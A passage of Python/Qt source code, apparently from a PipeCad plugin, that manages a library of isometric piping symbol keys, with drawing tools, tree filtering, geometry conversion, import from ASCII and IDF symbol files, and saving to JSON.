self.txtSpindleSkeyAngle.text[:len( self.txtSpindleSkeyAngle.text ) - 1] ) - 1 ) + \"°\"\n \n def callSpindleAngleChangePlus( self ):\n self.txtSpindleSkeyAngle.text = str( int( self.txtSpindleSkeyAngle.text[:len( self.txtSpindleSkeyAngle.text ) - 1] ) + 1 ) + \"°\"\n \n def callDrawSelectElement( self ):\n print( \"select element\" )\n \n \n def focusItemChanged(self, newItem, oldItem, reason):\n if newItem and reason == Qt.MouseFocusReason:\n print('item {} clicked!'.format(newItem))\n \n def callClearSheet( self ):\n for item in self.scene.symbol_drawlist:\n self.scene.removeItem( item )\n \n def callDrawArrivePoint( self ):\n QApplication.restoreOverrideCursor()\n QApplication.setOverrideCursor(QCursor(Qt.CrossCursor))\n self.scene.current_action = \"draw_arrive_point\"\n \n def callDrawLeavePoint( self ):\n QApplication.restoreOverrideCursor()\n QApplication.setOverrideCursor(QCursor(Qt.CrossCursor))\n self.scene.current_action = \"draw_leave_point\"\n \n def callDrawTeePoint( self ):\n QApplication.restoreOverrideCursor()\n QApplication.setOverrideCursor(QCursor(Qt.CrossCursor))\n self.scene.current_action = \"draw_tee_point\" \n \n def callDrawSpindlePoint( self ):\n QApplication.restoreOverrideCursor()\n QApplication.setOverrideCursor(QCursor(Qt.CrossCursor))\n self.scene.current_action = \"draw_spindle_point\"\n \n def callDrawLine( self ):\n QApplication.restoreOverrideCursor()\n QApplication.setOverrideCursor(QCursor(Qt.CrossCursor))\n self.scene.current_action = \"draw_line\"\n \n def callDrawRectangle( self ):\n QApplication.restoreOverrideCursor()\n QApplication.setOverrideCursor(QCursor(Qt.CrossCursor))\n self.scene.current_action = \"draw_rect\"\n\n def callDrawTriangle( self ):\n QApplication.restoreOverrideCursor()\n QApplication.setOverrideCursor(QCursor(Qt.CrossCursor))\n self.scene.current_action = \"draw_triangle\"\n\n def callFilter( self ):\n self.treeSkeys.clear()\n\n self.treeRoot = QTreeWidgetItem( self.treeSkeys )\n self.treeRoot.setText( 0, QT_TRANSLATE_NOOP( \"Paragon\", \"Components\" ) )\n self.treeRoot.setExpanded( True )\n \n check_value = self.txtSearch.text.upper()\n temp_skey_group = {}\n \n if self.groups != {}:\n for skey_group in self.groups.keys():\n for skey_subgroup in self.groups[ skey_group ].keys():\n for skey in self.groups[ skey_group ][ skey_subgroup ]:\n if skey.upper().find( check_value ) > - 1 or skey_subgroup.upper().find( check_value ) > - 1 or skey_group.upper().find( check_value ) > - 1: \n if skey_group in temp_skey_group.keys():\n if skey_subgroup in temp_skey_group[skey_group].keys():\n temp_skey_group[skey_group][skey_subgroup].append(skey)\n else:\n temp_skey_group[skey_group][skey_subgroup] = []\n temp_skey_group[skey_group][skey_subgroup].append(skey)\n else:\n temp_skey_group[skey_group] = {}\n temp_skey_group[skey_group][skey_subgroup] = []\n temp_skey_group[skey_group][skey_subgroup].append(skey)\n \n for skey_group in temp_skey_group.keys():\n group_level = QTreeWidgetItem( self.treeRoot )\n group_level.setExpanded(True)\n group_level.setText( 0, skey_group )\n aIcon = QIcon( \":/PipeCad/Resources/\" + skey_group[:4].upper().replace(\"CAPS\",\"CAP\") + \".png\" )\n if aIcon.availableSizes() == ():\n aIcon = QIcon( \":/PipeCad/Resources/MISC.png\" )\n group_level.setIcon(0, aIcon )\n \n for skey_subgroup in temp_skey_group[ skey_group ].keys():\n subgroup_level = QTreeWidgetItem( group_level )\n subgroup_level.setExpanded(True)\n subgroup_level.setText( 0, skey_subgroup )\n for skey in temp_skey_group[ skey_group ][ skey_subgroup ]:\n skey_level = QTreeWidgetItem( subgroup_level )\n skey_level.setText( 0, skey )\n subgroup_level.sortChildren( 0, Qt.AscendingOrder )\n print(group_level.children())\n group_level.sortChildren( 0, Qt.AscendingOrder )\n\n\n def callFilterClear( self ):\n self.treeSkeys.clear()\n self.txtSearch.clear()\n \n self.treeRoot = QTreeWidgetItem( self.treeSkeys )\n self.treeRoot.setText( 0, QT_TRANSLATE_NOOP( \"Paragon\", \"Components\" ) )\n self.treeRoot.setExpanded(True)\n \n for skey_group in self.groups.keys():\n group_level = QTreeWidgetItem( self.treeRoot )\n group_level.setExpanded(False)\n group_level.setText( 0, skey_group )\n aIcon = QIcon( \":/PipeCad/Resources/\" + skey_group[:4].upper().replace(\"CAPS\",\"CAP\") + \".png\" )\n if aIcon.availableSizes() == ():\n aIcon = QIcon( \":/PipeCad/Resources/MISC.png\" )\n group_level.setIcon(0, aIcon )\n \n for skey_subgroup in self.groups[ skey_group ].keys():\n subgroup_level = QTreeWidgetItem( group_level )\n subgroup_level.setExpanded( False )\n subgroup_level.setText( 0, skey_subgroup )\n for skey in self.groups[ skey_group ][ skey_subgroup ]:\n skey_level = QTreeWidgetItem( subgroup_level )\n skey_level.setText( 0, skey )\n subgroup_level.sortChildren( 0, Qt.AscendingOrder )\n group_level.sortChildren( 0, Qt.AscendingOrder )\n \n def currentSkeyGroupChanged( self ):\n self.cbSkeySubgroup.clear()\n self.cbSkeySubgroup.addItem( \" \" )\n if self.cbSkeyGroup.currentText != \" \" and self.cbSkeyGroup.currentText != \"\":\n for subgroup in self.groups[ self.cbSkeyGroup.currentText ]:\n self.cbSkeySubgroup.addItem( subgroup )\n self.cbSkeySubgroup.model().sort(0)\n\n def currentSkeyChanged( self ):\n self.callClearSheet()\n self.scene.set_grid_center = \"Center\"\n self.scene.symbol_drawlist = []\n \n self.cbSkeyGroup.setCurrentText( \" \" )\n self.cbSkeySubgroup.setCurrentText( \" \" )\n self.txtScale.text = \" \"\n \n current_level_element = self.treeSkeys.currentItem()\n current_level = 0\n for i in range( 0, 3 ):\n if current_level_element.parent() is not None:\n current_level_element = current_level_element.parent()\n current_level = current_level + 1\n\n if current_level == 3: \n selected_skey = self.treeSkeys.currentItem().text(0)\n selected_group = self.skeys[ selected_skey ][ \"group\" ]\n selected_subgroup = self.skeys[ selected_skey ][ \"subgroup\" ]\n \n self.txtSkey.text = selected_skey\n self.txtSkeyDesc.text = self.skeys[ selected_skey ][ \"description\" ]\n \n self.cbSkeyGroup.setCurrentText( selected_group )\n self.cbSkeySubgroup.clear()\n for subgroup in self.groups[ selected_group ].keys():\n self.cbSkeySubgroup.addItem( subgroup )\n \n self.cbSkeySubgroup.model().sort(0)\n self.cbSkeySubgroup.setCurrentText( selected_subgroup ) \n \n if self.skeys[ selected_skey ][\"spindle_skey\"] == \"\":\n self.cbSpindleSkey.setCurrentText( \" \" ) \n else: \n self.cbSpindleSkey.setCurrentText( self.skeys[ selected_skey ][\"spindle_skey\"] ) \n \n self.txtScale.text = self.skeys[ selected_skey ][\"scale_factor\"]\n self.cbOrientation.setCurrentIndex( self.skeys[ selected_skey ][\"orientation\"] ) \n self.cbFlowArrow.setCurrentIndex( self.skeys[ selected_skey ][\"flow_arrow\"] ) \n self.cbDimensioned.setCurrentIndex( self.skeys[ selected_skey ][\"dimensioned\"] ) \n for item in self.skeys[ selected_skey ][\"geometry\"]:\n if item.split(\":\")[0] == \"ArrivePoint\":\n x0 = round( float( item.split(\":\")[1].split(\" \")[1].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_x\n y0 = round( float( item.split(\":\")[1].split(\" \")[2].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_y\n element = ArrivePoint()\n element.setPos( x0, y0 )\n self.scene.addItem( element )\n self.scene.symbol_drawlist.append( element )\n elif item.split(\":\")[0] == \"LeavePoint\":\n x0 = round( float( item.split(\":\")[1].split(\" \")[1].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_x\n y0 = round( float( item.split(\":\")[1].split(\" \")[2].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_y\n element = LeavePoint()\n element.setPos( x0, y0 )\n self.scene.addItem( element )\n self.scene.symbol_drawlist.append( element )\n elif item.split(\":\")[0] == \"TeePoint\":\n x0 = round( float( item.split(\":\")[1].split(\" \")[1].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_x\n y0 = round( float( item.split(\":\")[1].split(\" \")[2].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_y\n element = TeePoint()\n element.setPos( x0, y0 )\n self.scene.addItem( element )\n self.scene.symbol_drawlist.append( element )\n elif item.split(\":\")[0] == \"SpindlePoint\":\n x0 = round( float( item.split(\":\")[1].split(\" \")[1].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_x\n y0 = round( float( item.split(\":\")[1].split(\" \")[2].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_y\n element = SpindlePoint()\n element.setPos( x0, y0 )\n self.scene.addItem( element )\n self.scene.symbol_drawlist.append( element )\n elif item.split(\":\")[0] == \"Line\":\n x1 = round( float( item.split(\":\")[1].split(\" \")[1].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_x\n y1 = round( float( item.split(\":\")[1].split(\" \")[2].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_y\n x2 = round( float( item.split(\":\")[1].split(\" \")[3].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_x\n y2 = round( float( item.split(\":\")[1].split(\" \")[4].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_y\n element = QGraphicsLineItem( x1, y1, x2, y2 )\n self.scene.addItem( element )\n self.scene.symbol_drawlist.append( element )\n elif item.split(\":\")[0] == \"Rectangle\":\n x0 = round( float( item.split(\":\")[1].split(\" \")[1].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_x\n y0 = round( float( item.split(\":\")[1].split(\" \")[2].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_y\n width = round( float( item.split(\":\")[1].split(\" \")[3].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_x\n height = round( float( item.split(\":\")[1].split(\" \")[4].split(\"=\")[1] ), 3 ) * 100.0 + self.origin_y\n element = QGraphicsLineItem( x0, y0, width, height )\n self.scene.addItem( element )\n self.scene.symbol_drawlist.append( element )\n\n \n # \n # self.skeys[ self.txtSkey.text ][\"geometry\"].append( \"Line: x1=\" + str( x1 ) + \" y1=\" + str( y1 ) + \" x2=\" + str( x2 ) + \" y2=\" + str( y2 ) )\n #elif type( item ) == QGraphicsRectItem:\n # #x = round ( ( item.rect().x() - self.scene.sheet_width / 2 ) / self.scene.step_x / 20 , 2 ) \n # #y = round ( ( item.rect().y() - self.scene.sheet_height / 2 ) / self.scene.step_y / 20 , 2 )\n # x = self.scene.convert_to_relative_position( QPointF( item.rect().x(), item.rect().y() ) ).x()\n # y = self.scene.convert_to_relative_position( QPointF( item.rect().x(), item.rect().y() ) ).y() \n # width = round ( item.rect().width() / self.scene.step_x / 20 , 2 )\n # height = round ( item.rect().height() / self.scene.step_x / 20 , 2 )\n # self.skeys[ self.txtSkey.text ][\"geometry\"].append( \"Rectangle: x0=\" + str( x ) + \" y0=\" + str( y ) + \" width=\" + str( width ) + \"Height=\" + str( height ) )\n #elif type( item ) == QGraphicsPolygonItem:\n # polygon_geometry = \"\"\n # index = 1\n # for point in item.polygon().toList():\n # #point_x = round ( ( point.x() - self.scene.sheet_width / 2 ) / self.scene.step_x / 20 , 2 ) \n # #point_y = round ( ( point.y() - self.scene.sheet_height / 2 ) / self.scene.step_y / 20 , 2 )\n # point_x = self.scene.convert_to_relative_position( point ).x()\n # point_y = self.scene.convert_to_relative_position( point ).y()\n # polygon_geometry = polygon_geometry + \" x\" + str( index ) + \"=\" + str( point_x ) + \" y\" + str( index ) + \"=\" + str( point_y ) \n # index = index + 1\n #\n \n def callConvertGraphics( self, skey, scale_factor, geometry ):\n start_point_x = \"\"\n start_point_y = \"\"\n end_point_x = \"\"\n start_point_y = \"\"\n symbol_width = 0\n symbol_height = 0\n new_geometry = []\n scale = 1\n max_size = 1\n max_width = 1\n max_height = 1\n min_width = 10000\n min_height = 10000\n point_arrive = False \n point_leave = False \n\n pen_arrive = QPen( QColor( 51, 51, 255 ) )\n pen_arrive.setWidth( 2 )\n pen_arrive.setStyle( Qt.SolidLine ) \n \n brush_arrive = QBrush( QColor( 51, 51, 255 ) )\n\n pen_leave = QPen( QColor( 255, 0, 0 ) )\n pen_leave.setWidth( 2 )\n pen_leave.setStyle( Qt.SolidLine ) \n\n brush_leave = QBrush( QColor( 255, 0, 0 ) )\n \n pen_tee = QPen( Qt.magenta )\n pen_tee.setWidth( 2 )\n pen_tee.setStyle( Qt.SolidLine ) \n\n brush_tee = QBrush( Qt.magenta )\n \n pen_spindle = QPen( QColor( 111, 0, 0 ) )\n pen_spindle.setWidth( 2 )\n pen_spindle.setStyle( Qt.SolidLine )\n\n brush_spindle = QBrush( QColor( 111, 0, 0 ) ) \n\n pen_symbol = QPen( QColor( 26, 26, 26 ) )\n pen_symbol.setWidth( 2 )\n pen_symbol.setStyle( Qt.SolidLine ) \n \n self.scene.set_grid_center()\n \n for x in range( 0, len( geometry ), 3 ):\n if geometry[x] == \"1\":\n start_point_x = float( geometry[x + 1] )\n start_point_y = float( geometry[x + 2] )\n min_width = min( start_point_x, min_width )\n min_height = min( start_point_y, min_height )\n max_width = max( start_point_x, max_width )\n max_height = max( start_point_y, max_height )\n \n elif geometry[x] == \"2\":\n end_point_x = float( geometry[x + 1] )\n end_point_y = float( geometry[x + 2] )\n min_width = min( end_point_x, min_width )\n min_height = min( end_point_y, min_height )\n max_width = max( end_point_x, max_width )\n max_height = max( end_point_y, max_height )\n \n elif geometry[x] == \"3\":\n start_point_x = float( geometry[x + 1] )\n start_point_y = float( geometry[x + 2] )\n min_width = min( start_point_x, min_width )\n min_height = min( start_point_y, min_height )\n max_width = max( start_point_x, max_width )\n max_height = max( start_point_y, max_height )\n \n elif geometry[x] == \"6\":\n start_point_x = float( geometry[x + 1] )\n start_point_y = float( geometry[x + 2] )\n min_width = min( start_point_x, min_width )\n min_height = min( start_point_y, min_height )\n max_width = max( start_point_x, max_width )\n max_height = max( start_point_y, max_height )\n \n min_size = min( ( max_width - min_width ) * scale_factor, ( max_height - min_height ) * scale_factor )\n max_size = max( ( max_width - min_width ) * scale_factor, ( max_height - min_height ) * scale_factor )\n \n if max_size <= self.unit_size:\n scale = scale_factor / 5\n else: \n scale = self.unit_size / max_size * scale_factor / 5\n \n symbol_width = max_width * scale\n symbol_height = max_height * scale \n \n index_of_end_geometry = 0\n for x in range( 0, len(geometry), 3 ):\n if geometry[x] == \"0\":\n index_of_end_geometry = x\n break\n \n for x in range( 0, len( geometry ), 3 ): \n if geometry[x] == \"1\":\n start_point_x = round( float( geometry[x + 1] ) * scale - symbol_width / 2, 0 ) / 100.0\n start_point_y = round( float( geometry[x + 2] ) * scale - symbol_height / 2 , 0 ) / 100.0\n if x == 0:\n if \"SP\" in skey:\n new_geometry.append( \"SpindlePoint: x0=\" + str( start_point_x ) + \" y0=\" + str( start_point_y ) )\n else:\n new_geometry.append( \"ArrivePoint: x0=\" + str( start_point_x ) + \" y0=\" + str( start_point_y ) )\n\n elif x == ( len(geometry) - 3 ) or x == ( index_of_end_geometry - 3 ):\n if \"SP\" not in skey:\n new_geometry.append( \"LeavePoint: x0=\" + str( start_point_x ) + \" y0=\" + str( start_point_y ) )\n \n elif geometry[x] == \"2\":\n end_point_x = round( float( geometry[x + 1] ) * scale - symbol_width / 2 , 0 ) / 100.0\n end_point_y = round( float( geometry[x + 2] ) * scale - symbol_height / 2, 0 ) / 100.0\n new_geometry.append( \"Line: x1=\" + str( start_point_x ) + \" y1=\" + str( start_point_y ) + \" x2=\" + str( end_point_x ) + \" y2=\" + str( end_point_y ) )\n start_point_x = end_point_x\n start_point_y = end_point_y\n \n elif geometry[x] == \"3\":\n end_point_x = round( float( geometry[x + 1] ) * scale - symbol_width / 2, 0 ) / 100.0\n end_point_y = round( float( geometry[x + 2] ) * scale - symbol_height / 2 , 0 ) / 100.0\n new_geometry.append( \"TeePoint: x0=\" + str( end_point_x ) + \" y0=\" + str( end_point_y ) )\n start_point_x = end_point_x\n start_point_y = end_point_y\n \n elif geometry[x] == \"6\": \n end_point_x = round( float( geometry[x + 1] ) * scale - symbol_width / 2, 0 ) / 100.0 \n end_point_y = round( float( geometry[x + 2] ) * scale - symbol_height / 2, 0 ) / 100.0\n new_geometry.append( \"SpindlePoint: x0=\" + str( end_point_x ) + \" y0=\" + str( end_point_y ) )\n start_point_x = end_point_x\n start_point_y = end_point_y\n \n #unique_elements = list( pd.unique( new_geometry ) )\n #return unique_elements\n return new_geometry\n \n def callLoadSkeyTree( self ):\n \n self.callLoadSkeyGroups()\n \n self.treeSkeys.clear()\n\n self.treeRoot = QTreeWidgetItem( self.treeSkeys )\n self.treeRoot.setText( 0, QT_TRANSLATE_NOOP( \"Paragon\", \"Components\" ) )\n self.treeRoot.setExpanded( True )\n \n self.cbSkeyGroup.clear()\n for group in self.groups:\n self.cbSkeyGroup.addItem( group )\n \n self.cbSkeyGroup.model().sort(0)\n self.cbSkeyGroup.setCurrentText( \"Unknown\" )\n self.cbSkeySubgroup.setCurrentText( \"Unknown\" )\n \n for skey_group in self.groups.keys():\n group_level = QTreeWidgetItem( self.treeRoot )\n group_level.setText( 0, skey_group )\n aIcon = QIcon( \":/PipeCad/Resources/\" + skey_group[:4].upper().replace(\"CAPS\",\"CAP\") + \".png\" )\n if aIcon.availableSizes() == ():\n aIcon = QIcon( \":/PipeCad/Resources/MISC.png\" )\n group_level.setIcon(0, aIcon )\n \n for skey_subgroup in self.groups[ skey_group ].keys():\n subgroup_level = QTreeWidgetItem( group_level )\n subgroup_level.setText( 0, skey_subgroup )\n for skey in self.groups[ skey_group ][ skey_subgroup ]:\n skey_level = QTreeWidgetItem( subgroup_level )\n skey_level.setText( 0, skey )\n subgroup_level.sortChildren( 0, Qt.AscendingOrder )\n group_level.sortChildren( 0, Qt.AscendingOrder )\n \n \n def callSave( self ):\n if self.txtSkey.text not in self.skeys.keys():\n self.skeys[ self.txtSkey.text ] = { }\n \n self.skeys[ self.txtSkey.text ] = { \"group\": self.cbSkeyGroup.currentText, \n \"subgroup\": self.cbSkeySubgroup.currentText, \n \"description\": self.txtSkeyDesc.text, \n \"spindle_skey\": self.cbSpindleSkey.currentText, \n \"scale_factor\": 1.0, \n \"orientation\": self.cbOrientation.currentIndex, \n \"flow_arrow\": self.cbFlowArrow.currentIndex, \n \"dimensioned\": self.cbDimensioned.currentIndex, \n \"geometry\": [] }\n for item in self.scene.symbol_drawlist:\n if type( item ) == ArrivePoint:\n arrive_point_x0 = ( item.x() - self.scene.origin_x ) / 100.0\n arrive_point_y0 = - ( item.y() - self.scene.origin_y ) / 100.0 \n print( item.x(), item.y(), arrive_point_x0, arrive_point_y0 )\n #self.skeys[ self.txtSkey.text ][\"geometry\"].append( \"ArrivePoint: x0=\" + str( arrive_point_x0 ) + \" y0=\" + str( arrive_point_y0 ) )\n \n elif type( item ) == LeavePoint:\n leave_point_x0 = ( item.x() - self.scene.origin_x ) / 100.0\n leave_point_y0 = - ( item.y() - self.scene.origin_y ) / 100.0 \n #self.skeys[ self.txtSkey.text ][\"geometry\"].append( \"LeavePoint: x0=\" + str( leave_point_x0 ) + \" y0=\" + str( leave_point_y0 ) )\n \n elif type( item ) == TeePoint:\n tee_point_x0 = ( item.x() - self.scene.origin_x ) / 100.0\n tee_point_y0 = - ( item.y() - self.scene.origin_y ) / 100.0 \n #self.skeys[ self.txtSkey.text ][\"geometry\"].append( \"TeePoint: x0=\" + str( tee_point_x0 ) + \" y0=\" + str( tee_point_y0 ) )\n \n elif type( item ) == SpindlePoint:\n spindle_point_x0 = ( item.x() - self.scene.origin_x ) / 100.0\n spindle_point_y0 = - ( item.y() - self.scene.origin_y ) / 100.0 \n #self.skeys[ self.txtSkey.text ][\"geometry\"].append( \"SpindlePoint: x0=\" + str( spindle_point_x0 ) + \" y0=\" + str( spindle_point_y0 ) )\n \n elif type( item ) == QGraphicsLineItem:\n line_x1 = ( item.line().p1().x() - self.scene.origin_x ) / 100.0\n line_y1 = - ( self.scene.origin_y - item.line().p1().y() ) / 100.0 \n line_x2 = ( item.line().p2().x() - self.scene.origin_x ) / 100.0\n line_y2 = - ( self.scene.origin_y - item.line().p2().y() ) / 100.0 \n #self.skeys[ self.txtSkey.text ][\"geometry\"].append( \"Line: x1=\" + str( line_x1 ) + \" y1=\" + str( line_y1 ) + \" x2=\" + str( line_x2 ) + \" y2=\" + str( line_y2 ) )\n \n elif type( item ) == QGraphicsRectItem:\n rect_x = self.scene.convert_to_relative_position( QPointF( item.rect().x(), item.rect().y() ) ).x()\n rect_y = self.scene.convert_to_relative_position( QPointF( item.rect().x(), item.rect().y() ) ).y() \n rect_width = round ( item.rect().width() / self.scene.step_x / 20 , 2 )\n rect_height = round ( item.rect().height() / self.scene.step_x / 20 , 2 )\n #self.skeys[ self.txtSkey.text ][\"geometry\"].append( \"Rectangle: x0=\" + str( rect_x ) + \" y0=\" + str( rect_y ) + \" width=\" + str( rect_width ) + \"Height=\" + str( rect_height ) )\n \n elif type( item ) == QGraphicsPolygonItem:\n polygon_geometry = \"\"\n index = 1\n for point in item.polygon().toList():\n point_x = self.scene.convert_to_relative_position( point ).x()\n point_y = self.scene.convert_to_relative_position( point ).y()\n polygon_geometry = polygon_geometry + \" x\" + str( index ) + \"=\" + str( point_x ) + \" y\" + str( index ) + \"=\" + str( point_y ) \n index = index + 1\n #self.skeys[ self.txtSkey.text ][\"geometry\"].append( \"Polyline: \" + polygon_geometry )\n \n self.callSaveToJson() \n self.callLoadSkeyTree() \n\n def callSaveToJson( self ): \n json_object = json.dumps( self.skeys, indent = 4 )\n with open( os.getenv('PIPECAD_SETTINGS_PATH').replace( \"\\\\\\\\\",\"\\\\\" ) + \"\\\\iso\\\\IsoSymbolsLibrary.json\", \"w\" ) as outfile:\n outfile.write( json_object )\n \n def callLoadFromJson( self ): \n with open( self.symbol_file_json ) as json_file:\n self.skeys = json.load( json_file )\n \n def callLoadSkeyGroups( self ):\n groups = {}\n \n for skey in self.skeys.keys():\n skey_group = self.skeys[ skey ][ \"group\" ]\n skey_subgroup = self.skeys[ skey ][ \"subgroup\" ]\n if skey_group not in groups.keys():\n groups[ skey_group ] = {}\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( skey ) \n else:\n if skey_subgroup not in groups[ skey_group ].keys():\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( skey ) \n else:\n if skey not in groups[ skey_group ][ skey_subgroup ]:\n groups[ skey_group ][ skey_subgroup ].append( skey ) \n \n for key in sorted( groups ):\n self.groups[ key ] = groups[ key ]\n \n def callSelectFileUsingExplorer( self, extension ):\n sFilePath = QFileDialog.getOpenFileName( self, QT_TRANSLATE_NOOP( \"Paragon\", \"Select File\" ), \"C:\\\\\", \"Symbols file (*.\" + extension +\")\" )\n if sFilePath != \"\":\n return sFilePath.replace(\"/\",\"\\\\\")\n \n def callImportSkeyFromASCII( self ):\n symbol_file_path = self.callSelectFileUsingExplorer( \"skey\" )\n if symbol_file_path == None:\n return \n symbol_file = open( symbol_file_path , 'r' )\n contents = symbol_file.readlines()\n skip_line = False\n new_skey = \"\"\n base_skey = \"\"\n geometry = []\n groups = {}\n\n max_value = 0\n \n i = -1\n for line_index in range( len(contents) ):\n row = contents[line_index] \n \n if row[:1] == \"!\":\n skip_line = True\n continue\n \n record_type = row[:4].strip()\n \n if record_type == \"501\":\n if new_skey != \"\" or base_skey != \"\":\n if new_skey != \"\": \n self.skeys[ new_skey ][\"geometry\"] = self.callConvertGraphics( new_skey, scale_factor, geometry )\n \n elif new_skey == \"\" and base_skey != \"\": \n self.skeys[ base_skey ][\"geometry\"] = self.callConvertGraphics( base_skey, scale_factor, geometry )\n\n geometry.clear()\n \n skip_line = False\n description = \"\"\n skey_group = \"Unknown\"\n skey_subgroup = \"Unknown\"\n \n new_skey = row[5:10].strip()\n base_skey = row[11:15].strip()\n \n spindle_skey = row[16:20].strip()\n scale_factor = float( row[21:29].strip() ) / 100 \n orientation = int( row[30:37].strip() )\n flow_arrow = int( row[38:45].strip() ) \n dimensioned = int( row[46:53].strip() ) \n \n if new_skey == \"\": \n if base_skey in self.skeys_desc.keys():\n skey_group = self.skeys_desc[base_skey][0]\n skey_subgroup = self.skeys_desc[base_skey][1] \n if skey_group not in groups.keys():\n groups[ skey_group ] = {}\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( base_skey ) \n else:\n if skey_subgroup not in groups[ skey_group].keys():\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( base_skey ) \n else:\n if base_skey not in groups[ skey_group ][ skey_subgroup ]:\n groups[ skey_group ][ skey_subgroup ].append( base_skey ) \n else:\n if skey_group not in groups.keys():\n groups[ skey_group ] = {}\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( base_skey ) \n else:\n if skey_subgroup not in groups[ skey_group].keys():\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( base_skey ) \n else:\n if base_skey not in groups[ skey_group ][ skey_subgroup ]:\n groups[ skey_group ][ skey_subgroup ].append( base_skey ) \n self.skeys[ base_skey ] = { \"group\":skey_group, \"subgroup\":skey_subgroup, \"description\": description, \"spindle_skey\": spindle_skey, \"scale_factor\": scale_factor, \"orientation\": orientation, \"flow_arrow\": flow_arrow, \"dimensioned\": dimensioned, \"geometry\": geometry }\n \n else:\n if skey_group not in groups.keys():\n groups[ skey_group ] = {}\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( new_skey ) \n else:\n if skey_subgroup not in groups[ skey_group].keys():\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( new_skey ) \n else:\n if new_skey not in groups[ skey_group ][ skey_subgroup ]:\n groups[ skey_group ][ skey_subgroup ].append( new_skey ) \n \n self.skeys[ new_skey ] = { \"group\":skey_group, \"subgroup\":skey_subgroup, \"description\": description, \"spindle_skey\": spindle_skey, \"scale_factor\": scale_factor, \"orientation\": orientation, \"flow_arrow\": flow_arrow, \"dimensioned\": dimensioned, \"geometry\": geometry }\n\n elif record_type == \"502\": \n if skip_line == True:\n continue\n \n pen_action_1 = row[5:14].strip()\n pos_x_1 = float( row[15:22].strip() ) \n pos_y_1 = float( row[23:30].strip() )\n \n pen_action_2 = row[31:38].strip()\n pos_x_2 = float( row[39:46].strip() )\n pos_y_2 = float( row[47:54].strip() )\n \n pen_action_3 = row[55:63].strip()\n pos_x_3 = float( row[64:70].strip() )\n pos_y_3 = float( row[71:78].strip() )\n \n pen_action_4 = row[79:86].strip()\n pos_x_4 = float( row[87:94].strip() )\n pos_y_4 = float( row[95:103].strip() )\n\n geometry.append( pen_action_1 )\n geometry.append( pos_x_1 )\n geometry.append( pos_y_1 )\n geometry.append( pen_action_2 )\n geometry.append( pos_x_2 )\n geometry.append( pos_y_2 )\n geometry.append( pen_action_3 )\n geometry.append( pos_x_3 )\n geometry.append( pos_y_3 )\n geometry.append( pen_action_4 )\n geometry.append( pos_x_4 )\n geometry.append( pos_y_4 )\n \n if line_index == len(contents) - 1:\n if new_skey != \"\": \n self.skeys[ new_skey ][\"geometry\"] = self.callConvertGraphics( new_skey, scale_factor, geometry )\n elif new_skey == \"\" and base_skey != \"\": \n self.skeys[ base_skey ][\"geometry\"] = self.callConvertGraphics( base_skey, scale_factor, geometry )\n geometry.clear()\n \n for key in sorted( groups ):\n self.groups[ key ] = groups[ key ]\n \n self.callSaveToJson()\n self.callLoadSkeyTree() \n \n def callImportSkeyFromIDF( self ):\n symbol_file_path = self.callSelectFileUsingExplorer( \"idf\" )\n if symbol_file_path == None:\n return \n symbol_file = open( symbol_file_path , 'r' )\n contents = symbol_file.readlines()\n skip_line = False\n new_skey = \"\"\n base_skey = \"\"\n geometry = []\n groups = {}\n\n max_value = 0\n \n i = -1\n for line_index in range( len(contents) ):\n row = contents[line_index] \n \n if row[:1] == \"!\":\n skip_line = True\n continue\n \n record_type = row[:5].strip()\n \n if record_type == \"501\":\n if new_skey != \"\" or base_skey != \"\":\n if new_skey != \"\": \n self.skeys[ new_skey ][\"geometry\"] = self.callConvertGraphics( new_skey, scale_factor, geometry )\n \n elif new_skey == \"\" and base_skey != \"\": \n self.skeys[ base_skey ][\"geometry\"] = self.callConvertGraphics( base_skey, scale_factor, geometry )\n if new_skey == \"FEFL\":\n print( geometry, self.skeys[ new_skey ][\"geometry\"])\n geometry.clear()\n \n skip_line = False\n description = \"\"\n skey_group = \"Unknown\"\n skey_subgroup = \"Unknown\"\n new_skey = row[5:21].strip().split(\",\")[0]\n base_skey = row[5:21].strip().split(\",\")[1]\n spindle_skey = row[5:21].strip().split(\",\")[2]\n scale_factor = float( row[22:29].strip() ) / 100 \n orientation = int( row[30:37].strip() )\n flow_arrow = int( row[38:45].strip() ) \n dimensioned = int( row[46:53].strip() ) \n \n \n if new_skey == \"\": \n if base_skey in self.skeys_desc.keys():\n skey_group = self.skeys_desc[base_skey][0]\n skey_subgroup = self.skeys_desc[base_skey][1]\n if skey_group not in groups.keys():\n groups[ skey_group ] = {}\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( base_skey ) \n else:\n if skey_subgroup not in groups[ skey_group].keys():\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( base_skey ) \n else:\n if base_skey not in groups[ skey_group ][ skey_subgroup ]:\n groups[ skey_group ][ skey_subgroup ].append( base_skey ) \n else:\n skey_group = \"Unknown\"\n skey_subgroup = \"Unknown\"\n if skey_group not in groups.keys():\n groups[ skey_group ] = {}\n groups[ skey_group ][ skey_subgroup ] = []\n groups[ skey_group ][ skey_subgroup ].append( base_skey ) \n else:\n if skey_subgroup not in groups[ 